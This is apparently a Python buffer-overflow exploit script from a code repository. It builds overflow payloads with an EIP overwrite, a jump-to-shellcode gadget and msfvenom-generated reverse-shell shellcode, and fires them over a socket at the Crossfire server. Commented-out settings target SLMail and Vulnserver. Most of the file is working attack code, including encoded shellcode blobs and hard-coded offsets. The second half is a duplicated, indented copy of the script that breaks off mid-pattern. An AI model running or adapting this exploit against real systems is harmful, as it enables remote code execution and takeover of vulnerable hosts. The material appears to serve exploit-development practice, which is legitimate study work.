GlennPegden2/BufferOverflowRig.py

## BufferOverflowRig.py
#!/usr/bin/python
import time, struct, sys
import socket as so

def sendPayload(cmd):
#	print("Sent: %s\nSize %i\nRSize %i " % (cmd , len(cmd) , len(cmd) -(len(preCMD) +len(postCMD))))
	try:
		s.send(cmd)
		print(repr(s.recv(1024)))
	except:
		print("[!] connection refused to %s:%i, check debugger" % (server,port))

def getPlainBuffer(preCMD,postCMD,maxOverflowBufferSize):
	plainPad = b'A' * maxOverflowBufferSize
	return(preCMD + plainPad + postCMD)

def getLocateBuffer(preCMD,postCMD,maxOverflowBufferSize):
	#LocateBuffer: Generates a buffer hander for testing EIP overflow offset
	#Generated with /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000
	#Good for buffers up to 5000
	locateBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"[:maxOverflowBufferSize]
	if maxOverflowBufferSize > len(locateBuffer):
		print("Warning: Max Buffer Size is greater than locate buffer length")

	return(preCMD + locateBuffer + postCMD)

def getSizeTestBuffer(preCMD,postCMD,preEIPSize,postEIPSize,EIPmarker):
	#sizeTestBuffer: This should drop D0C0FFEE in EIP , Xcc..ccX in the buffer, if it ends in ccX then complete buffer fits
	sizeTestBuffer = preCMD + b"A" * preEIPSize + EIPmarker + b"X" + b"C" * (postEIPSize-2) + b"X" + postCMD
	return(sizeTestBuffer)

def getBadCharStr(preCMD,postCMD,overflowBufferOffset,maxOverflowBufferSize,badChrLst):

	blockStr = b''
	for i in range(0,0xFF):
		if i not in badChrLst:
		        blockStr += bytes([i])

	blockBS = blockStr

	if maxOverflowBufferSize < overflowBufferOffset + len(blockStr):
		print("Warning: Max Buffer Size is less than bad block test string")

	badChrTestString = preCMD + b"A" * overflowBufferOffset +  blockBS + ((maxOverflowBufferSize) - (overflowBufferOffset + len(blockStr) )-2) * b"B" + postCMD

	return(badChrTestString)


def getNOPSled(size):
	return()

# |-------------------------------- FullCMD ----------------------------------|
# |---- PreCMD ---- | ------------- OverlowBuffer ------------ | ---- PostCMD ----- |
#                   | --- PreEIP --- | EIP | --- PostEIP ---  |

EIPmarker = b'\xee\xff\xc0\xd0'

winShellcode = (
b"\xdb\xd3\xbb\xc4\xa0\xf4\x26\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
b"\x52\x83\xc6\x04\x31\x5e\x13\x03\x9a\xb3\x16\xd3\xde\x5c\x54"
b"\x1c\x1e\x9d\x39\x94\xfb\xac\x79\xc2\x88\x9f\x49\x80\xdc\x13"
b"\x21\xc4\xf4\xa0\x47\xc1\xfb\x01\xed\x37\x32\x91\x5e\x0b\x55"
b"\x11\x9d\x58\xb5\x28\x6e\xad\xb4\x6d\x93\x5c\xe4\x26\xdf\xf3"
b"\x18\x42\x95\xcf\x93\x18\x3b\x48\x40\xe8\x3a\x79\xd7\x62\x65"
b"\x59\xd6\xa7\x1d\xd0\xc0\xa4\x18\xaa\x7b\x1e\xd6\x2d\xad\x6e"
b"\x17\x81\x90\x5e\xea\xdb\xd5\x59\x15\xae\x2f\x9a\xa8\xa9\xf4"
b"\xe0\x76\x3f\xee\x43\xfc\xe7\xca\x72\xd1\x7e\x99\x79\x9e\xf5"
b"\xc5\x9d\x21\xd9\x7e\x99\xaa\xdc\x50\x2b\xe8\xfa\x74\x77\xaa"
b"\x63\x2d\xdd\x1d\x9b\x2d\xbe\xc2\x39\x26\x53\x16\x30\x65\x3c"
b"\xdb\x79\x95\xbc\x73\x09\xe6\x8e\xdc\xa1\x60\xa3\x95\x6f\x77"
b"\xc4\x8f\xc8\xe7\x3b\x30\x29\x2e\xf8\x64\x79\x58\x29\x05\x12"
b"\x98\xd6\xd0\xb5\xc8\x78\x8b\x75\xb8\x38\x7b\x1e\xd2\xb6\xa4"
b"\x3e\xdd\x1c\xcd\xd5\x24\xf7\x32\x81\x79\x2b\xdb\xd0\x85\x32"
b"\xa0\x5c\x63\x5e\xc6\x08\x3c\xf7\x7f\x11\xb6\x66\x7f\x8f\xb3"
b"\xa9\x0b\x3c\x44\x67\xfc\x49\x56\x10\x0c\x04\x04\xb7\x13\xb2"
b"\x20\x5b\x81\x59\xb0\x12\xba\xf5\xe7\x73\x0c\x0c\x6d\x6e\x37"
b"\xa6\x93\x73\xa1\x81\x17\xa8\x12\x0f\x96\x3d\x2e\x2b\x88\xfb"
b"\xaf\x77\xfc\x53\xe6\x21\xaa\x15\x50\x80\x04\xcc\x0f\x4a\xc0"
b"\x89\x63\x4d\x96\x95\xa9\x3b\x76\x27\x04\x7a\x89\x88\xc0\x8a"
b"\xf2\xf4\x70\x74\x29\xbd\x91\x97\xfb\xc8\x39\x0e\x6e\x71\x24"
b"\xb1\x45\xb6\x51\x32\x6f\x47\xa6\x2a\x1a\x42\xe2\xec\xf7\x3e"
b"\x7b\x99\xf7\xed\x7c\x88"
)


#msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x20"
linuxShellcode = (
b"\xbb\x87\xbc\xc0\xcb\xd9\xc5\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
b"\x12\x31\x5d\x12\x03\x5d\x12\x83\x42\xb8\x22\x3e\x7d\x1a\x55"
b"\x22\x2e\xdf\xc9\xcf\xd2\x56\x0c\xbf\xb4\xa5\x4f\x53\x61\x86"
b"\x6f\x99\x11\xaf\xf6\xd8\x79\x4f\x09\x1b\x78\xc7\x0b\x1b\x7b"
b"\xac\x85\xfa\xcb\xb4\xc5\xad\x78\x8a\xe5\xc4\x9f\x21\x69\x84"
b"\x37\xd4\x45\x5a\xaf\x40\xb5\xb3\x4d\xf8\x40\x28\xc3\xa9\xdb"
b"\x4e\x53\x46\x11\x10"

)


# Notes for find jmps with mona. !mona modules to find a module then some handy OPCodes to look for


# Exploit specific Variables

##SLMail
##
#preCMD = b"PASS "
#postCMD = b""
#maxOverflowBufferSize = 2700
#preEIPSize = 2606 # From pattern_offset.rb after locate crash
#postEIPSize =  400 # Experiment with how much of a buffer we have spare - 351 is probably minimum for a whell
#badChrLst = [0x00,0x0a,0x0d,0xff]
#EIPjmpDst = b'\x8f\x35\x4a\x5f' # Wherever you want you exploit to jmp to (normally a jmp back to where your payload is). Remember Endian switch
#preEIP = preEIPSize * b'A'
#postEIP = getNOPSled(12) + shellcode
#overflowBufferOffset = 0 # Where to stick the bad char test, 0 fro PreEIP buffer <preEIPSize + 4> for post EIP buffer
#exploitStr = preCMD + preEIP + EIPjmpDst + postEIP + postCMD


##Vulnserver.exe
##
#preCMD = b"AUTH "
#postCMD = b""
#maxOverflowBufferSize = 1140
#preEIPSize = 1040 # From pattern_offset.rb after locate crash
#postEIPSize = 400 # Experiment with how much of a buffer we have spare - 351 is probably minimum for a whell
#badChrLst = [0x00,0x0a,0x0d,0xff]
#EIPjmpDst = '' # Wherever you want you exploit to jmp to (normally a jmp back to where your payload is). Remember Endian switch
#preEIP = preEIPSize * b'A'
#postEIP = getNOPSled(8) + shellcode + getNOPSled(maxOverflowBufferSize - len(shellcode))
#overflowBufferOffset = 0 # Where to stick the bad char test, 0 fro PreEIP buffer <preEIPSize + 4> for post EIP buffer
#exploitStr = preCMD + preEIP + EIPjmpDst + postEIP + postCMD


#Crossfire
#Payload wont fit in PostEIP like normal, but it will fit in PreEIP which
# locater str in EIP = 46367046 which gives 4368
preCMD = b'\x11(setup sound '
postCMD = b'\x90\x00#'
maxOverflowBufferSize = 4379
preEIPSize = 4368 # From pattern_offset.rb after locate crashpostEIPSize = 2 # Experiment with how much of a buffer we have spare - 351 is probably minimum for a whell
postEIPSize = maxOverflowBufferSize - (preEIPSize + 4)
badChrLst = [0x00,0x0a,0x0d,0x20,0xff]
EIPjmpDst = b'\x97\x45\x13\x08' # JMP ESP (found by edb OpCode Search), Don't forget Endian Swicth
ESP = b'\x83\xc0\x0c\xff\xe0\x90\x90' # ADD EAX,12 , JMP EAX
preEIP = linuxShellcode + ((preEIPSize - len(linuxShellcode) ) * b'A')
postEIP = ESP + (postEIPSize-len(ESP)) * b"D"
overflowBufferOffset = 0 # Where to stick the bad char test, 0 fro PreEIP buffer <preEIPSize + 4> for post EIP buffer

exploitStr = preCMD + preEIP + EIPjmpDst + postEIP + postCMD

#print("mOBs: %i (%i/%i)\n-EIP (%i/%i)\n+EIP (%i/%i)" % (maxOverflowBufferSize,preEIPSize+postEIPSize+4,len(preEIP)+len(postEIP)+4,preEIPSize,len(preEIP),postEIPSize,len(postEIP)))

try:
    server = sys.argv[1]
    port = int(sys.argv[2])

except IndexError:
    print("[+] Usage %s host port" % sys.argv[0])
    sys.exit()

s = so.socket(so.AF_INET, so.SOCK_STREAM)
s.connect((server, port))
print(repr(s.recv(1024)))

##SLMail
#s.send("USER test\r\n")
#s.recv(1024)
#sendPayload(exploitStr)

##Vulnserver
#sendPayload(exploitStr)

#Crossfire
#sendPayload(getPlainBuffer(preCMD,postCMD,maxOverflowBufferSize))
#sendPayload(getLocateBuffer(preCMD,postCMD,maxOverflowBufferSize))
#sendPayload(getSizeTestBuffer(preCMD,postCMD,preEIPSize,postEIPSize,EIPmarker))
#sendPayload(getBadCharStr(preCMD,postCMD,overflowBufferOffset,maxOverflowBufferSize,badChrLst))
sendPayload(exploitStr)

s.close()
	#!/usr/bin/python
	import time, struct, sys
	import socket as so

	def sendPayload(cmd):
	# print("Sent: %s\nSize %i\nRSize %i " % (cmd , len(cmd) , len(cmd) -(len(preCMD) +len(postCMD))))
	try:
	s.send(cmd)
	print(repr(s.recv(1024)))
	except:
	print("[!] connection refused to %s:%i, check debugger" % (server,port))

	def getPlainBuffer(preCMD,postCMD,maxOverflowBufferSize):
	plainPad = b'A' * maxOverflowBufferSize
	return(preCMD + plainPad + postCMD)

	def getLocateBuffer(preCMD,postCMD,maxOverflowBufferSize):
	#LocateBuffer: Generates a buffer hander for testing EIP overflow offset
	#Generated with /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000
	#Good for buffers up to 5000
	locateBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds